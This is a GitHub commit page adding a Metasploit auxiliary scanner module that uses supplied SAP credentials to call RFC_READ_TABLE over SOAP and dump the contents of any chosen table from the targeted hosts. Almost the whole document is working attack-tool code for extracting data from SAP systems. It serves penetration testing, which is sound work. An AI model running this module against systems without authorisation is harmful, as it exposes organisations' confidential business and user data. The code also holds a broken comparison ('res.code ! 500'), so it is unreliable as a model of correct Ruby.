Skip to content

Commit c511e58

Browse files
author
jvazquez-r7
committed
Merge branch 'sap_soap_rfc_read_table' of https://github.com/nmonkee/metasploit-framework into nmonkee-sap_soap_rfc_read_table
2 parents c81a289 + 91b81be commit c511e58

File tree

1 file changed

+137
-0
lines changed

1 file changed

+137
-0
lines changed
Lines changed: 137 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15+
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
16+
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
17+
##
18+
19+
require 'msf/core'
20+
21+
class Metasploit4 < Msf::Auxiliary
22+
23+
include Msf::Exploit::Remote::HttpClient
24+
include Msf::Auxiliary::Report
25+
include Msf::Auxiliary::Scanner
26+
27+
def initialize
28+
super(
29+
'Name' => 'SAP RFC RFC_READ_TABLE',
30+
'Description' => %q{
31+
This module makes use of the RFC_READ_TABLE Remote Function Call (via SOAP) to read
32+
data from tables.
33+
},
34+
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
35+
'Author' => [ 'Agnivesh Sathasivam', 'nmonkee' ],
36+
'License' => BSD_LICENSE
37+
)
38+
39+
register_options(
40+
[
41+
OptString.new('CLIENT', [true, 'Client', nil]),
42+
OptString.new('USERNAME', [true, 'Username', nil]),
43+
OptString.new('PASSWORD', [true, 'Password', nil]),
44+
OptString.new('TABLE', [true, 'Table to read', nil]),
45+
OptString.new('FIELDS', [true, 'Fields to read', '*'])
46+
], self.class)
47+
end
48+
49+
def run_host(ip)
50+
columns = []
51+
columns << '*' if datastore['FIELDS'].nil?
52+
if datastore['FIELDS']
53+
columns.push (datastore['FIELDS']) if datastore['FIELDS'] =~ /^\w?/
54+
columns = datastore['FIELDS'].split(',') if datastore['FIELDS'] =~ /\w*,\w*/
55+
end
56+
fields = ''
57+
columns.each do |d|
58+
fields << "<item><FIELDNAME>" + d.gsub(/\s+/, "") + "</FIELDNAME></item>"
59+
end
60+
exec(ip,fields)
61+
end
62+
63+
def exec(ip,fields)
64+
data = '<?xml version="1.0" encoding="utf-8" ?>'
65+
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
66+
data << '<env:Body>'
67+
data << '<n1:RFC_READ_TABLE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
68+
data << '<DELIMITER xsi:type="xsd:string">|</DELIMITER>'
69+
data << '<NO_DATA xsi:nil="true"></NO_DATA>'
70+
data << '<QUERY_TABLE xsi:type="xsd:string">' + datastore['TABLE'] + '</QUERY_TABLE>'
71+
data << '<DATA xsi:nil="true"></DATA>'
72+
data << '<FIELDS xsi:nil="true">' + fields + '</FIELDS>'
73+
data << '<OPTIONS xsi:nil="true"></OPTIONS>'
74+
data << '</n1:RFC_READ_TABLE>'
75+
data << '</env:Body>'
76+
data << '</env:Envelope>'
77+
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
78+
print_status("[SAP] #{ip}:#{rport} - sending SOAP RFC_READ_TABLE request")
79+
begin
80+
error = ''
81+
success = ''
82+
res = send_request_raw({
83+
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
84+
'method' => 'POST',
85+
'data' => data,
86+
'headers' =>{
87+
'Content-Length' => data.size.to_s,
88+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
89+
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
90+
'Authorization' => 'Basic ' + user_pass,
91+
'Content-Type' => 'text/xml; charset=UTF-8'
92+
}
93+
}, 45)
94+
if res and res.code ! 500 and res.code != 200
95+
# to do - implement error handlers for each status code, 404, 301, etc.
96+
if res.body =~ /<h1>Logon failed<\/h1>/
97+
print_error("[SAP] #{ip}:#{rport} - login failed!")
98+
else
99+
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
100+
end
101+
return
102+
elsif res and res.body =~ /Exception/
103+
response = res.body
104+
error = response.scan(%r{<faultstring>(.*?)</faultstring>})
105+
success = false
106+
return
107+
else
108+
response = res.body if res
109+
success = true
110+
end
111+
if success
112+
output = response.scan(%r{<WA>([^<]+)</WA>}).flatten
113+
print_status("[SAP] #{ip}:#{rport} - got response")
114+
saptbl = Msf::Ui::Console::Table.new(
115+
Msf::Ui::Console::Table::Style::Default,
116+
'Header' => "[SAP] RFC_READ_TABLE",
117+
'Prefix' => "\n",
118+
'Postfix' => "\n",
119+
'Indent' => 1,
120+
'Columns' => ["Returned Data"]
121+
)
122+
0.upto(output.length-1) do |i|
123+
saptbl << [output[i]]
124+
end
125+
print(saptbl.to_s)
126+
end
127+
if !success
128+
0.upto(error.length-1) do |i|
129+
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
130+
end
131+
end
132+
rescue ::Rex::ConnectionError
133+
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
134+
return false
135+
end
136+
end
137+
end

0 commit comments

Comments
 (0)